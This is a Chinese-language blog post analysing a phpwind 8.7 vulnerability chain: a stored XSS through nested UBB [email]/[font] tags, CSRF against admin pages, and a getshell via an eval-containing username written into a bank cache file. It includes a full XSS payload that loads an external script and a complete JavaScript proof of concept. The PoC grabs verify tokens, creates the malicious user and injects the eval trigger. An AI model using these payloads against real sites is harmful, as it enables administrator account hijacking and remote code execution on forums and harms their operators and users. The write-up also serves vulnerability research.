phpwind8.7xss+csrf+后台getshell漏洞分析
in 漏洞分析 with 0 comment

phpwind8.7xss+csrf+后台getshell漏洞分析

in 漏洞分析 with 0 comment

0x01.前言

一哥的新的getshell,不是discuz就是phpwind,太有诱惑力了,导致我顶着4门考试的压力看一波
俗话说的好,考试明年可以再来,漏洞过去了就不新鲜了。
这个洞wooyun上还没有公布细节 wooyun链接
一哥在自己的公众号上说了下原理公众号链接
没有放完整的poc,我们可以自己来写一下
其中xss是8.7和9.x通杀,后台getshell是只在8.7中可以触发
总体来说这个漏洞是一个典型的xss结合后台getshell的漏洞
复现并没有花多少时间,因为有很多操作,poc倒是花了点时间,我们来看

0x02.前台xss

到现在这种安全性比较好的cms,存储型xss出的最多的就是在ubb标签处
这次也不例外,我们来看,在require/bbscode.php
图片1.png
这里对ubb标签的处理是把它转换成相应的html标签
在这之前message中的单引号双引号什么的都是被过滤的毛都没有的
我们重点关注font和email这两个ubb标签
[font=x]test[/font]会转化为html标签<font face="x">test</font>
其中对x的约束仅仅是不含[(&\;
[email]x[/email]转化成<a href="mailto:x ">x</a>
对x的约束是不含[
如果把font放在email里面呢
像这样[email][font=x]test[/font][/email]
来看看结果
<a href=”mailto:<font face=”x=”>”test”>”
ubb标签[font]转化成html标签<font>的时候,生硬的把双引号带入的<a>标签中
导致我们可控的x完全逃逸出来了,不过我们可控的x中不能有[(&\;这些字符,这也挺难受的
不过我们还是有方法执行js,
[email][font=onmouseover=location=/javascript:alert%28%22xss%22%29%3b/.source d=] xxxx[/font][/email]
转换成html之后就成了
图片2.png
这里利用onmouseover触发js
因为我们不能输入[(&\;就url编码一下
然后利用source来转义,也是颇有技巧,值得学习
图片3.png
当然,我们的目的肯定不只是弹框,我们要引入外部的js
而且要管理员一打开就触发,这里一哥提供的技巧是利用系统原生css样式,

class=pImg_bg
.pImg_bg {
    background: none repeat scroll 0 0 #000;
    bottom: 0;
    height: 100%;
    left: 0;
    opacity: 0.5;
    position: absolute;
    right: 0;
    top: 0;
    width: 100%;
    z-index: 1001;
}

相当于一层透明的置于最上面覆盖整个页面,鼠标只要在网页中,打开页面就能触发了,也是非常巧妙,这个xss在8.7和9.x的版本中都可以使用,利用代码如下

[email][font= onmouseover=location=/javascript:document.getElementById%28%22xxxxxx%22%29.style.display=%27none%27%3bvar%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F127.0.0.1%2ftest%2fgetshell.js%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3Bwindow.onerror%3Dfunction%28%29%7Breturn%20false%3B%7D%3Bxxx%3B/.source class=pImg_bg id=xxxxxx d=] xxxx[/font] [/email]

打开即可引入getshell.js,在getshell.js中写后台操作即可

0x03.后台getshell

漏洞的触发点是在前台的bank功能,构造的数据要在后台添加
图片4.png
定位到bank功能的代码处/hack/bank/index.php
第76行有一处写文件的敏感操作
图片5.png
$_DESPOSTDB变量以数组的方式写入了文件中,第64行是这个变量的来历
图片6.png
$_DESPOSTDB是从数据库中查询取出来的,取出来以后也没有过滤,我们去写入的文件中看看bank_sort.php
图片7.png
数组中间是双引号的,不是单引号,那我们就有机会注入脚本了呀
我们刚刚知道uid,username等是从数据库中取出来的
那我们写入数据库是在哪里呢,第一个想到的是register,
但是这里username已经被过滤的很充分了,特殊字符都被过滤掉了,
还有一个地方就是后台的用户管理-添加用户,我们定位到添加用户的代码处/admin/usermanage.php
图片8.png
我们可以看到这里对username的限制很少
@${}();这些字符都能用,然后长度要不超过15
我们在添加用户处添加一个用户名为${@eval($a)}的用户
并在编辑用户处把该用户的存款设置多点,以便该用户能够出现在bank的排行榜上
图片9.png
可以看到该用户已经出现在了排行榜上,在来看看bank_sort.php
图片10.png
这个时候只要把$a传入就能执行任意代码了
但是并没有直接post或者get的地方啊。不过我们还可以使用全局变量
在后台插件中心银行设置的地方,定位到代码处/hack/bank/admin.php
图片11.png
全局变量$config被保存到数据库中,跟进函数updatecache_bk()
图片12.png
发现$config被写入了bk_config.php中了
图片13.png
并且在/hack/bank/index.php的一开始就从bk_config.php中取数据
图片14.png
如果我们在提交的时候添加一项$config[v]那么最后存入bk_config.php的就多了一项$bk_v
这么短,不正好是我们需要的吗
我们把刚刚添加的新用户的用户名改为${@eval($bk_v)},没超过15个字符
图片15.png
然后在插件中心银行设置处增加一项$config[v]
图片16.png
bk_config.php中即写入$bk_v
图片17.png
刷新前台的银行页面,成功getshell
图片18.png
这个后台的getshell也是由一些小的问题组成
双引号里内容可控-->usernmae过滤不充分-->用户可添加变量,环环相扣的利用

0x04.poc的思路及实现

到这里漏洞复现已经完成了,整理一下poc的思路:

由于每次phpwind的每次操作都有verify验证,并且这个verify还不是固定的
所以操作前要获取verify,而且编辑用户之前要获取uid,那么思路就变成了:

poc代码(getshell.js):

function ajax(){
    var request = false;
    if(window.XMLHttpRequest) {
        request = new XMLHttpRequest();
    } else if(window.ActiveXObject) {
        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++) {
            try {
                request = new ActiveXObject(versions[i]);           
            } catch(e) {}            
        }            
    }            
    return request;          
}
var verify = '';
var _x = ajax();
             
var src1="http://127.0.0.1/phpwind87/admin.php?adminjob=usermanage&adminitem=add";

var basestr = 'adminjob=usermanage&adminitem=add&verify=';
verify=get_verify("GET",src1,basestr);//get verify

var src2='http://127.0.0.1/phpwind87/admin.php?adminjob=usermanage&adminitem=add&verify='+verify;

var data1="username=${@eval($bk_v)}&password=cheng156237&email=cheng156237%40qq.com&groupid=-1&action=addnew";

request_post(src2,data1);//add user
var src3="http://127.0.0.1/phpwind87/admin.php?adminjob=usermanage&adminitem=edit";

var basestr1 = 'adminjob=usermanage&adminitem=edit&verify=';
verify=get_verify("GET",src3,basestr1);

var src4='http://127.0.0.1/phpwind87/admin.php?adminjob=usermanage&adminitem=edit&verify='+verify;

var data2='groupid=&schname=*&schuid=&schemail=&userip=&regdate=all&schlastvisit=all&orderway=username&asc=&lines=100&action=search';

var basestr4 = 'adminjob=usermanage&adminitem=edit&action=edit&uid=';
uid=get_uid("POST",src4,data2,basestr4);//get uid

var src5="http://127.0.0.1/phpwind87/admin.php?adminjob=usermanage&adminitem=edit&action=edit&uid="+uid;

var basestr2 = 'adminjob=usermanage&adminitem=edit&verify=';
verify=get_verify("GET",src5,basestr2);

var src6='http://127.0.0.1/phpwind87/admin.php?adminjob=usermanage&adminitem=edit&verify='+verify;
var data3="groupid=-1&username=%24%7B%40eval%28%24bk_v%29%7D&password=&check_pwd=&question=-2&customquest=&answer=&email=cheng156237%40qq.com&receivemail=0&regdate=2016-06-30+23%3A12&yz=1&userip=127.0.0.1&facetype=1&proicon=none.gif&httpurl%5B0%5D=&httpurl%5B3%5D=&httpurl%5B4%5D=&postnum=0&rvrc=0&money=0&deposit=100000&ddeposit=0&currency=0&credit=0&creditdb%5B1%5D=&onlinetime=0&site=&location=&icq=&msn=&aliww=&yahoo=&honor=&signature=&introduce=&banpm=&oicq=&aliww=&yahoo=&msn=&gender=0&bday_year=2011&bday_month=1&bday_day=1&apartment=-1&home=-1&new_career_companyname%5B%5D=&new_career_year%5B%5D=2016&new_career_month%5B%5D=1&new_career_day%5B%5D=1&alipay=&new_education_level%5B%5D=5&new_education_schoolid%5B%5D=&schoolname_ids_a5333ee21fd74f7a84c409f723ae7382=&new_education_year%5B%5D=2016&action=edit&uid=31&step=2";
request_post(src6,data3);//set cash

var src7="http://127.0.0.1/phpwind87/admin.php?adminjob=hack&hackset=ban";
var basestr3 ='verify=';
verify=get_verify("GET",src7,basestr3);

var src8='http://127.0.0.1/phpwind87/admin.php?adminjob=hack&hackset=bank&verify='+verify;
var data4="action=unsubmit&config%5Bopen%5D=1&config%5Bvirement%5D=1&config%5Bper%5D=0&config%5Bnum%5D=10&config%5Bvirerate%5D=10&config%5Bvirelimit%5D=10&config%5Btimelimit%5D=2&config%5Brate%5D=5&config%5Bdrate%5D=10&config%5Bddate%5D=10&config%5Bv%5D=phpinfo();";
request_post(src8,data4);//add config[v]
function request_get(src) { 
    xhrdatact("GET",src,data);           
}
function sleep(n){
    var start=new Date().getTime();
    while(true) if(new Date().getTime()-start>n) break;
}
function request_post(src,data) {
xhrdatact("POST",src,data);
}
function get_response(method,src,data)
{
    _x.open(method,src,false);              
    _x.send();
    var documentsrctr = _x.responseText;    
}
function get_verify(method,src,basestr){
    _x.open(method,src,false);              
    _x.setRequestHeader("Content-type",'application/x-www-form-urlencoded')
    _x.send();
    var documentsrctr=_x.responseText;
        var verifypos = documentsrctr.indexOf(basestr);
        var realpos = verifypos + basestr.length;
        verify = documentsrctr.substr(realpos,9);
        console.log(verify);
        return verify;
}
function get_uid(method,src,data,basestr){
    _x.open(method,src,false);              
    _x.setRequestHeader("Content-type",'application/x-www-form-urlencoded');
     _x.send(data); 
    var documentsrctr=_x.responseText;
        var verifypos = documentsrctr.indexOf(basestr);
        var realpos = verifypos + basestr.length;
        uid = documentsrctr.substr(realpos,2);
        console.log(uid);
        return uid;
}
function xhrdatact(method,src,data){
    if(method == "GET")
    {
        _x.open(method,src,false);              
        _x.send();           
        var documentsrctr = _x.responseText;    
        console.log(documentsrctr);
        var basestr = 'adminjob=usermanage&adminitem=add&verify=';
        var verifypos = documentsrctr.indexOf(basestr);
        var realpos = verifypos + basestr.length;
        verify = documentsrctr.substr(realpos,9);
        request_post(1);
            sleep(3000);
    }
        else
        {
        _x.open(method,src,false);              
        _x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        _x.send(data);           
        return _x.responseText;         

    }

}

Comments are closed.